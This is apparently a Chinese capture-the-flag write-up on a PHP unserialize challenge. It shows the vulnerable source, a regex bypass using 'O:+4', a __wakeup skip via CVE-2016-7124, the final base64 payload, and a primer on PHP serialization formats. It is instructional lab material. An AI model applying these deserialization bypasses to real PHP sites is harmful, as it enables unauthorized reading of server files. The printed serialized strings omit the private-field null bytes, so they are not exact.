题目地址Web_php_unserialize
一、代码分析
反序列化的题目,给出了源码
<?php
class Demo {
private $file = 'index.php';public function __construct($file) {
$this->file = $file; }function __destruct() {
echo @highlight_file($this->file, true); }function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!'); } else {
@unserialize($var); }
} else {
highlight_file("index.php");
}
?>
preg_match(’/[oc]:\d+:/i’, $var)的绕过unserialize时__wakeup的绕过
绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2
preg_match('/[oc]:\d+:/i', $var)
此段代码匹配o或c : 匹配冒号。 \d 匹配一个数字(+ 表示匹配前面的子表达式一次或多次。) 。 /i匹配的时候不区分大小写
$A = new Demo('fl4g.php');$C = serialize($A);$c="O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
对于$c来说,就是匹配o:4字段,那么类名的长度可以有正负号,那么我们加入+号,即可绕过。
$c="O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
__wakeup():在unserialize时会被调用
__construct():在使用new创建新对象的时候被调用
__destruct():在销毁一个类之前执行
我们要绕过__wakeup()这个魔术方法。利用CVE-2016-7124漏洞。
我们序列化的字符串为:
O:4:“Demo”:1:{
s:10:“Demofile”;s:8:“fl4g.php”;}
我们可以把序列化后的字符串改为:
O:4:“Demo”:2:{
s:10:“Demofile”;s:8:“fl4g.php”;}
(序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数)
var_dump(base64_encode($c));
$c="TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30="
传入var参数即可得到flag。
二、PHP序列化
PHP (从PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。
PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是8 位的字符)计算的,因此,更合适的说法是PHP 序列化后的内容是字节流格式。
PHP 对不同类型的数据用不同的字母进行标示。
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
-
NULL 的序列化
在 PHP 中,NULL 被序列化为:N; -
boolean 型数据的序列化
b: < digit > ;其中< digit > 为0 或1,当boolean 型数据为false 时, 为0,否则为1。 -
integer 型数据的序列化
i:< number > ;其中< number > 为一个整型数,范围为:-2147483648 到2147483647。数字前可以有正负号。 -
double 型数据的序列化
d:< number >。其中< number > 为一个浮点数,其范围与PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化无穷大数,则< number > 为INF,如果序列化负无穷大,则< number > 为-INF。序列化后的数字范围超过PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字
范围超过PHP 所能表示的最小精度,则反序列化时返回0。 -
string 型数据的序列化
s:< length >:"< value >"。其中< length > 是< value > 的长度,< length > 是非负整数,数字前可以带有正号(+)。< value > 为字符串值,这里的每个字符都是单字节字符,其范围与ASCII 码的0 - 255 的字符相对应。每个字符都表示原字
符含义,没有转义字符 -
数组的序列化
a:< n>:{< key 1>< value 1> < key 2>< value 2>…< key n>< value n>}
其中< n> 表示数组元素的个数,< key 1>、< key 2>……< key n> 表示数组下标,< value 1>、< value2>……< value n> 表示与下标相对应的数组元素的值。
- 对象的序列化
O:< length>:"< class name>":< n >:{< field name 1>< field value 1>< field name2>< field value 2>…< field name n>< field value n>}
其中< length> 表示对象的类名< class name> 的字符串长度。< n> 表示对象中的字段1个数。这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和const 声明的静态字段。也就是说只有实例(instance)字段。
< filed name 1>、< filed name 2>……< filed name n>表示每个字段的字段名,而< filed value 1>、< filed value 2>……< filed value n> 则表示与字段名所对应的字段值。
三、CVE-2016-7124漏洞
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
漏洞复现